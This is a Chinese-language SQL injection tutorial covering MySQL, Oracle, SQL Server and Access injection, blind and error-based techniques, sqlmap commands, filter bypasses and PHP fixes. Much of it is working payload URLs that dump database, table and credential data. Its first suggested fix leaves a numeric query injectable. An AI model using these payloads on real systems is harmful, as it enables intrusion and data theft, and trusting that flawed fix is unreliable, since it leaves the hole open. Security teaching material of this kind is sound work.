目录
(一)sql注入了解:
1.1什么是sql注入
1.2 sql注入的分类
(二)sql注入详解:
2.1.MySQL注入
2.2.1在MySQL注入中,会用到的知识
2.2.2mysql常用语句与常见
2.2.3msyql注入内容详解
2.2.Oracle注入
2.2.1Oracle注入基础
2.2.2联合查询注入
2.3.SQL Server注入
2.3.1SQL Server 关键目录试图
2.3.2 SQL Server注入过程:
2.4.Access注入
2.2.1Access数据库基础
2.4.2Access爆破注入过程
2.5 二次注入
2.6 自动化SQL注入神器SQLMAP
2.6.1常用命令:
2.6.2sqlmap注入过程命令:
2.7 SQL注入绕过
2.7.1空格过滤绕过
2.7.2内联注入绕过
2.7.3大小写绕过
2.7.4双写关键字绕过
2.7.5编码绕过
2.7.6等价函数字符替换绕过
2.8.MySQL注入漏洞修复
2.8.1 代码层修复
2.8.2服务器修复
SQL注入漏洞是一种常见的攻击漏洞,攻击者通过将恶意的SQL代码注入到用户输入的表单或者URL参数中,使得数据库执行恶意SQL语句,并获取、修改或者删除未授权的数据。
简单来说,就是攻击者通过在输入框或URL参数中注入恶意SQL语句,从而绕过系统的验证,获取或者修改敏感数据。
例如:
正常情况下,
有过一个查询网址是https://example.com/info.php,
用户点击查询之后,网址的url变成了:https://example.com/info.php?id=1,其中id是传送的参数,这个参数是要进入数据库查询的关键参数,
等到数据库,进行查询,语句是SELECT * FROM users WHERE id='1' ,返回结果之后,再从传输到客户端,展现给用户。
sql注入情况下:
攻击者会在url中加入后缀载入一些东西,例如:https://example.com/info.php?id=1' OR '1'='1,到数据查询也会变成:
SELECT * FROM users WHERE id='1' OR '1'='1';
在条sql查询语句中,查询条件是 id='1' OR '1'='1',因为OR的右边'1'='1'是rrue,所以导致这个语句是true,数据库会正常查询语句,会把查到的信息传输到客户端中,这样攻击者就成功地通过SQL注入攻击获取了未授权的数据。这个就是简单的sql注入案例。
根据数据类型分为
数字型SQL注入:针对数值型数据类型进行注入的攻击,例如整型和浮点型。这种攻击一般针对表单输入中的数字型数据进行,攻击者在输入框中注入非数字字符或者字母、下划线等特殊字符,来绕过输入验证,从而执行攻击操作。
字符型SQL注入:针对字符型数据类型进行注入的攻击,例如字符串型、日期型和时间型。攻击者通过在表单输入框中输入字符串或者特殊字符来进行字符型SQL注入攻击,来绕过应用程序的验证,访问或修改数据中的敏感信息。
数字型:
提交 1 and 1=1
语句变成SELECT * FROM users WHERE id=1 and 1=1 limit 0,1
这时语句前值后值都为真,and以后也为真,返回查询到的数据。
执行了攻击者额外的SQL查询语句,导致SQL注入漏洞猜列名。
字符型:
提交 1’ and ‘1’=‘1
语句变成SELECT * FROM users WHERE id=‘1’ and ‘1’=‘1’limit 0,1
这时语句前值后值都为真,and以后也为真,返回查询到的数据。
执行了攻击者额外的SQL查询语句,导致SQL注入漏洞猜列名。
根据返回结果分为
报错型:攻击者注入的恶意代码可以使得SQL查询返回报错信息。在这种情况下,攻击者可以通过观察返回结果来验证注入的代码是否成功,并进一步获取敏感数据。
盲注型:攻击者注入的恶意代码无法直接获取查询的结果,而是利用漏洞合并多个查询或执行其他事务的结果来确认信息的泄露。在这种情况下,攻击者凭借对应用程序的深刻了解来感知和验证自己的注入是否成功。
在MySQL注入中,会运用到的函数有:
函数 / 语句
功能
user()
当前用户名
database()
当前所用数据库
current_user()
当前用户名(可用来查看权限)
version()
数据库的版本
@@datadir
数据库的路径
@@version_compile_os
操作系统版本
into dumpfile
写文件操作
into outfile 写文件 load_file() 读文件操作 concat(str1,str2..) 连接字符串,连接两个或多个数组 group_concat(str1,str2..) 连接字符串,能将相同的行组合起来 length() 计算字符串长度 hex() 字符转换为16进制
mysql注释:
- 单行注释,#后面直接加内容
- 单行注释,--后面必须要加空格
- 多行注释,/**/中间可以跨行
mysql数据库中information_schema库
information_schema库是sql注入的重要对象,从MySQL 5开始,MySQL自带information_schema数据库,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
mysql数据库中mysql库
MySQL库这个是MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等MySQL数据库需要使用的控制和管理信息。
- union语句
- order by语句
- limit 语句
常用场景:
判断是否存在注入与求闭合字符
数字型:
id = 1’ 返回不正常
id = 1 and 1 =1 正常返回
id = 1 and 1=2 不正常返回
字符型:
id = 1' 异常
id = 1' and '1' ='1 正常返回
id = 1' and '1' ='2 不正常返回
判断列数
id = 1 order by n 正常返回
id = 1 order by n+1 不正常返回
结果:数据表中共有n列,(判断列数,需要一次次尝试)
判断显错点
输入union select 1,2,3 返回1,2,3,说明1、2、3都是显错点
获取库名
输入 and 1=2 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,
获取到当前用户为ctfswiki@localhost,当前数据库为ctfswiki,当前的版本为5.1.73
获取列名
输入:http://www.test.com//index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctfswiki' and table_name='user'。从information_schema.columns 表中,取出数据库名为ctfswiki,表名为user的所有列名,获得id,username,password这三个列。
获取数据
输入:http://www.test.com//index.php?id=1 and 1=2 union select 1,group_concat(username,' ',password),3 from user 从user表中取出username和password列中的数据,得到user1 pass1等多个用户名密码信息。
盲注型
SQL 盲注是一种常见的技术。不会直接返回攻击者所需要的数据,需要通过特定的技巧进行获取。SQL 盲注可分为两种基本形式:
布尔盲注(bool):可以在 SQL 查询中通过修改查询条件让其返回不同的结果,通过判断查询结果来判断查询条件是否正确。如果能够正确推断出查询结果,则可以进行下一步攻击操作。
时间盲注(sleep):攻击者可以通过特殊的 SQL 语句在数据库中执行延迟操作,通过检查应用程序的响应时间来推断 SQL 查询结果是否符合预期。在时间盲注中,攻击者需要构造特殊的 SQL 语句,并观察应用程序对该语句执行的响应时间来判断 SQL 查询的结果是否为真或假。
在 SQL 注入攻击中,攻击者可以通过 SQL 盲注技术逐步获取目标数据库中的敏感信息,例如用户名和密码等,然后继续对数据库进行进一步的攻击。因此,在设计和实现应用程序时,需要更加注重用户输入数据的校验和安全性防护,避免 SQL 注入等基本漏洞的利用。
1、bool注入
常用函数:
substring函数:截取字符串的长
例如:substring(字段名,A, N),这个函数是用来截取()里的字段从第A个长度起往后截取N个字,比如substring(username,1,2)就表示从username字段中从第1个字符向后截取2位,包括第1个字符,比如值为admin,截取的就是ad
ascii函数:返回ascii码,多用于猜测数据库、表名、字段名的名称
例如:ascii('a') ,返回a字母的ascii码97
bool注入存在原因分析
$id参数没有过滤直接拼接到数据库中执行,存在数字型注入。
输入参数id进行SQL注入,SQL语句执行后,$result返回真,应用程序并没有输出查询的结果,而是显示ok字符串;$result返回假,显示空,这样就无法通过SQL注入将数据库的查询结果显示到前端页面中,因此只能通过前端页面显示的是ok字符串,来判断输入的SQL注入测试语句的是否正常,以此进行注入。
获取到数据库:
1、输入http://www.test.com/index.php?id=1 and (select ASCII(SUBSTRING (database(),1,1)))>98
页面返回正常,说明数据库的第一个字符的ASCII码大于98。
2、输入http://www.test.com/index.php?id=1 and (select ASCII(SUBSTRING (database(),1,1)))>99
页面返回不正常,说明数据库的第一个字符的ASCII码不大于98,也就是99,说明是字符c。
3、通过and (select ASCII(SUBSTRING (database(),1,1)))>X,获取到数据库中其他字符串的信息,得到数据库的名称为ctfswiki。
获取表
http://www.test.com/index.php?id=33 and ascii(substr((select table_name from information_schema.tables where table_schema='cms' limit 0,1),1,1))<100
测试当前cms数据库的第一个表的第一个字符的ASCII码是否小于100,不断测试,直至成功判断第一个字符的ASCII码。
http://www.test.com/index.php?id=33 and ascii(substr((select table_name from information_schema.tables where table_schema='cms' limit 0,1),2,1))<109
测试当前cms数据库的第一个表的第二个字符的ASCII码是否小于109,不断测试,直至成功判断第二个字符的ASCII码
获取数据:
http://www.test.com/index.php?id=35 and ascii(substring((select username from cms.cms_users limit 0,1),1,1))>100
测试cms数据库cms_users表中username列的一个数据的第一个字符是否大于100,不断测试,直至成功判断第一个字符的ASCII码。
2、sleep注入
sleep获取数据库:
1、输入http://www.test.com/index.php?id=1 and sleep( if(ascii(substr(database(),1,1))>99,0,5))
执行完发现页面执行了5s,说明数据库的第一个字符的ASCII码不大于99。
2、输入http://www.test.com/index.php?id=1 and sleep( if(ascii(substr(database(),1,1))>98,0,5))
执行完发现页面执行了0s,说明数据库的第一个字符的ASCII码大于98,也就是99,说明是字符c。
3、通过and sleep( if(ascii(substr(database(),1,1))>x,0,5)),获取到数据库中其他字符串的信息,得到数据库的名称为ctfswiki。
sleep获取数据表:
http://www.test.com/index.php?id=1 and sleep( if(ascii(substr((select table_name from information_schema.tables where table_schema='ctfswiki' limit 0,1),1,1))<101,0,5 ))
sleep获取数据:
1、判断表中的列信息,例如user表
http://www.test.com/index.php?id=1 and sleep( if(ascii(substr((select column_name from information_schema.columns where table_name='user' and table_schema='ctfswiki' limit 0,1),1,1))<105,0,5 ))
2、判断列的值
http://www.test.com/index.php?id=1 and sleep( if(ascii(substring((select username from ctfswiki.user limit 0,1),1,1))<69,0,5 ))
报错型
报错型是一种常见的注入方式,攻击者可以通过构造恶意的 SQL 语句触发数据库引擎抛出错误信息,然后利用这些错误信息来获取目标数据库中的敏感信息,报错型有三种
1、floor报错注入
2、updatexml报错注入
3、extractvalue报错注入
1、floor报错注入
floor报错注入原因分析:
floor报错注入是MySQL报错注入的一种方式,主要原因是rand函数与group by一起使用时,rand函数会计算多次导致了报错产生的注入
- floor(x) 函数返回不大于x的最大整数值
- rand() 函数会返回一个0-1之间的随机数
获取当前数据库名称
http://www.test.com//index.php?id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
获取当前数据库的表名
http://www.test.com//index.php?id=1 and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
获取当前数据库的列名
http://www.test.com/index.php?id=1 and (select 1 from (select count(*),concat((select (column_name) from information_schema.columns where table_schema=database() and table_name='user' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
获取数据
http://www.test.com/index.php?id=1 and(select 1 from(select count(*),concat((select username from user limit 0,1),0x3a,floor(rand()*2))x from information_schema.tables group by x)a)
2、updatexml报错注入
updatexml报错注入原因分析
updatexml注入也是一种报错注入,是利用了updatexml函数中第二个参数XPath_string的报错进行注入。XPath_string正常的格式是xml路径,格式是/xxx/xxx/xxx/,如果格式不正确就会报错,updatexml注入就是利用了XPath_string的报错进行注入。
updatexml函数:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,目标XML文档。
第二个参数:XPath_string (Xpath格式的字符串),xml路径,正常的格式是
/xxx/xxx/xxx/,如果格式不正确就会报错,updatexml注入就是利用了XPath_string的报错 进行注入。
第三个参数:new_value,String格式,替换查找到的符合条件的数据。
updatexml报错注入过程
获取数据名:
通过http://ip/index.php?id=1 and updatexml(1,concat(0x7e,(database())),0) #
可以通过updatexml报错获取到当前的数据库为ctfswiki
3、extractvalue报错注入
extractvalue函数可以对XML文档进行查询,extractvalue报错注入与updatexml报错注入的原理一样,也是利用了函数中第二个参数XPath_string,XPath_string正常的格式是xml路径,格式是/xxx/xxx/xxx/,如果格式不正确就会报错,extractvalue注入就是利用了XPath_string 的报错进行注入。
获取数据库
http://ip/index.php?id=1 and extractvalue(1,concat(0x7e,(database())),0) #
可以通过updatexml报错获取到当前的数据库为ctfswiki
宽字节注入
宽字节注入原因分析:
宽字节注入漏洞产生的原因:开发者为了防止出现SQL注入攻击,将用户输入的数据用addslashes等函数进行过滤。addslashes等函数会默认将单引号等字符进行转义,这样就可以避免注入。宽字节注入产生的原因是MySQL在使用GBK编码的时候,如果第一个字符的ASCII码大于128时,会认为两个字符是一个汉字,会将后面的转义字符“\”吃掉,拼接为汉字,这样就可以将SQL语句闭合,造成宽字节注入
宽字节注入过程:
1、查看数据库的名称
http://ip/index.php?id=1%81' and 1=2 union select 1,database(),3 %23
2、查看所有的表信息
http://ip/index.php?id=1%81' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x6374667377696b69%23
3、查看user表的列信息
http://ip/index.php?id=1%81' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x6374667377696b69 and table_name=0x75736572 %23
4、查看列的值
http://ip/index.php?id=1%81' and 1=2 union select 1,group_concat(username, 0x2a2a2a, password),3 from user %23
(1) 数据字典
元数据的集合,从逻辑上和物理上描述了数据库及内容,存储于SYSTEM与SYSAUX表空间内的若干段。
(2)数据字典视图
数据字典基表中的数据比较复杂,一般是查询数据字典视图。 数据字典视图有3个不同权限的分类,分别以USER、ALL、DBA的前缀开头。
1)user_tables表
user_tables表中存储了用户的拥有的表的信息,类似于MySQL数据库的information_schema数据库中的tables表。
2)user_tab_columns表
user_tab_columns表中存储了用户的拥有的列的信息,类似于MySQL数据库的information_schema数据库中的columns表。
3)dual表
dual表是 Oracle数据库中实际存在的表,任何用户均可读取,常用在Oracle注入中没有目标表的select语句块中进行注入。
(1) 判断注入点
http://192.168.91.142:8080/index.jsp?id=1 and 1=1
(2) 判断列数
http://192.168.91.142:8080/index.jsp?id=1 order by 1
(3) 判断显错点
http://192.168.91.142:8080/index.jsp?id=1 union select null,null,null from dual
(4) 获取当前数据库
http://192.168.91.142:8080/index.jsp?id=1 union select null,null,SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual
(5) 获取数据库中的表
http://192.168.91.142:8080/index.jsp?id=1 and 1=2 union select null,null,table_name from user_tables
(6) 获取表中的列
http://192.168.91.142:8080/index.jsp?id=1 and 1=2 union select null,null,column_name from user_tab_columns
(7) 获取列中的数据
http://192.168.91.142:8080/index.jsp?id=1 and 1=2 union select null,"username","password" from "user"
SQL Server包含了sysdatabases、sysobjects、syscolumns 3个视图。
1.sysdatabases
sysdatabases(存储数据库名):保存了数据库相关的信息。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。sysdatabases中的信息存储在 master 数据库中。
2.sysobjects
sysobjects(存储表名):SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象。如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。name,id,xtype,uid,status:分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。
3.syscolumns
syscolumns(存储列名):每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:name、id、colid,分别是字段名称,表ID号,字段ID号,其中的表ID号与sysobjects中的表ID号相同。
(1) 获取当前数据库
有两种报错注入的方式可以获取到数据库的名称。
第一种方式:通过sys.databases表获取:
http://www.test.com/News.asp?SortID=1&ItemID=46 and (select top 1 name from sys.databases) >0
第二种方式:通过db_name()函数获取,db_name()是sql server的内置函数,可以查询当前数据库的名称,然后与0比较导致类型比较报错,获取到数据库信息:
http://www.test.com/News.asp?SortID=1&ItemID=46 and db_name()>0
(2) 获取数据库中的表
http://www.test.com/News.asp?SortID=1&ItemID=46 and 0<(select top 1 name from sec.dbo.sysobjects where xtype='U')
(3) 获取数据库中表中的列
http://www.test.com/News.asp?SortID=1&ItemID=46 and 0<(select top 1 name from sec.dbo.syscolumns where id=(select id from sec.dbo.sysobjects where xtype='U' and name='eims_User'))
(4) 获取数据库列中的数据
http://www.test.com/News.asp?SortID=1&ItemID=46 and 0<(select top 1 item1 from sec.dbo.eims_User)
1. Access数据库的系统结构
常见的Access数据库的扩展名是mdb和accdb,主要包括:表、查询、窗体、报表、数据访问页、宏、模块。
表:数据库中用来存储数据的对象,是数据库的核心和基础表由表结构和表内容(记录)两部分组成。在对表操作时,是对表结构和表内容分别进行的。表结构包括表名和字段属性两部分。
2. Access数据库系统表
Access数据库系统表包括MSysAccessObjects、MSysAccessXML、MSysACEs、MSysNameMap、MSysNavPaneGroupCategories、MSysNavPaneGroups、MSysNavPaneObjectIDs、
MSysNavPaneGroupToObjects、MSysObjects、MSysQueries、MSysRelationships。
MSysObjects中包含了所有的数据库对象,但是默认情况都不允许访问系统数据库表
(1) 猜测数据库中的表
http://www.test.com/NewsInfo.asp?Id=130 and exists (select * from TableName)
(2) 猜测数据库中表中的列
http://www.test.com/NewsInfo.asp?Id=130 and exists (select ColumnName from TableName)
(3) 判断列数
http://www.test.com/NewsInfo.asp?Id=130 order by 7
(4) 查看显错点
http://www.test.com/NewsInfo.asp?Id=130 and 1=2 union select 1,2,3,4,5,6,7 from TableName
(5) 获取数据
http://www.test.com/NewsInfo.asp?Id=130 and 1=2 union select1,ColumnName1,3,4,ColumnName2,6,7 from TableName
二次注入漏洞是SQL注入的一种形式,是在Web应用程序中经常出现的Web类型漏洞。
二次注入的原理:第一次在参数中输入恶意数据插入的时候,由于存在addslashes等函数的过滤,会将特殊字符添加"\"进行转义,但是转义字符"\"并不会存入到数据库中,这样下一次进行查询时,如果没有过滤,直接从数据库中取出恶意数据并执行,就造成了SQL注入。
SQLMAP是一个自动化的SQL注入工具,其主要功能是发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQLServer, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。
SQLMAP支持五种不同的注入模式:
1、基于布尔的盲注。
2、基于时间的盲注。
3、基于报错注入。
4、联合查询注入。
5、堆查询注入。
SQLMAP的支持7种显示等级,默认为1等级
等级0:只显示python错误以及严重的信息。
等级1:同时显示基本信息和警告信息。(默认)
等级2:同时显示debug信息。
等级3:同时显示注入的payload。
等级4:同时显示HTTP请求。
等级5:同时显示HTTP响应头。
等级6:同时显示HTTP响应页面。
(1)-u或者--url 指定注入目标URL
sqlmap -u http://ip/index.php?id=1
(2)--dbms 指定数据库
sqlmap -u http://ip/index. php?id=1 --dbms=mysql
(3)--os 指定系统
sqlmap -u http://ip/index.php?id=1 --os=Windows
(4)--flush-session 刷新缓存
sqlmap -u http://ip/index.php?id=1 --flush-session
(5)--proxy 指定代理
sqlmap -u http://ip/index.php?id=1 --proxy http://ip:port
(6)--user-agent 指定useragent信息
sqlmap -u http://ip/index.php?id=1 --user-agent='Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'
(7)--data 数据以POST方式提交
1)列出所有的数据库
sqlmap -u http://ip/index.php?id=1 --dbs
(2)列出当前数据库
sqlmap -u http://ip/index.php?id=1 --current-db
(3)列出DBname数据库所有的表
sqlmap -u http://ip/index.php?id=1 -D 'DBname' --tables
(4)列出DBname数据库table表中的所有列
sqlmap -u http://ip/index.php?id=1 -D 'DBname' -T 'table' --columns
(5)获取DBname数据库table表中column1,column2列中的数据
sqlmap -u http://ip/index.php?id=1 -D 'DBname' -T 'table' -C 'column1,column2' --dump
应用程序的过滤规则,会将空格设置为黑名单,但是空格存在多种绕过方式,常见的包括 /**/、tab键、%0a、`来代替空格进行绕过。
MySQL会执行放在 /! ... /中里面语句,/!50010 ... /也可以执行里面的SQL语句,其中5.00.10 为MySQL版本号,当MySQL数据库的实际版本大于内联注释中的版本就会执行里面的代码,可以利用MySQL的这个特性绕过特殊字符过滤。
应用程序的过滤规则,通常会针对恶意关键词设置黑名单,如果存在恶意关键词就会退出,但是可能存在过滤不完整或者是只过滤小写或者大写的情况,没有针对大小写组合进行过滤,导致可以通过大小写混写payload的方式来绕过过滤。
应用程序的过滤规则,通常会针对恶意关键词设置黑名单,如果存在恶意关键词就会替换为空字符,但是没有多次匹配判断,就可以通过双写字符串的方式来绕过过滤。
双重url编码绕过
16进制编码绕过
Unicode编码绕过
ASCII编码绕过
Mysql查询:Union distinct、updatexml、Extractvalue、floor
字符串截取函数:mid、substr、substring、left、reverse
字符串连接函数:concat、group_concat、concat_ws
字符串转换:char、hex、unhex
替换逗号:limit 1 offset 0,mid(version() from 1 for 1)
替换等号:like、in
防止字符型注入
字符型注入可以用htmlspecialchars函数、MySQL_real_escape_string函数和addslashes函数,进行特殊字符转换防止注入。
$id=$_GET['id'];
$id =htmlspecialchars(addslashes($id));
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
参数化查询防止注入
参数化查询防止注入。mysqli 和 PDO 这两个新扩展都支持参数化查询。
$mysqli = new mysqli("localhost", "dbusername", "dbpassword", "database");
$username = "somename";
$password = "someword";
$query = "SELECT filename, filesize FROM users WHERE (name = ?) and (password = ?)";
$stmt = $mysqli->stmt_init();
if ($stmt->prepare($query)) {
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$stmt->bind_result($filename, $filesize);
while ($stmt->fetch()) {
printf ("%s : %d\n", $filename, $filesize);
}
$stmt->close();
}
$mysqli->close();
(1) magic_quotes_gpc配置
当 magic_quotess_gpc为on,所有的'(单引号)、"(双引号)、\(反斜杠)和NULL's被一个反斜杠自动转义。该设置将自动影响$_GET 、 $_POST 、$_COOKIE数组的值,在PHP 4,$_ENV也会被转义。
注意:本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。
(2) magic_quotes_sybase配置
magic_quotes_sybase会将单引号('),转义为两个单引号(''),但是只将magic_quotes_sybase设置为on并不生效,需要将magic_quotes_gpc也设置为on,magic_quotes_sybase才会生效。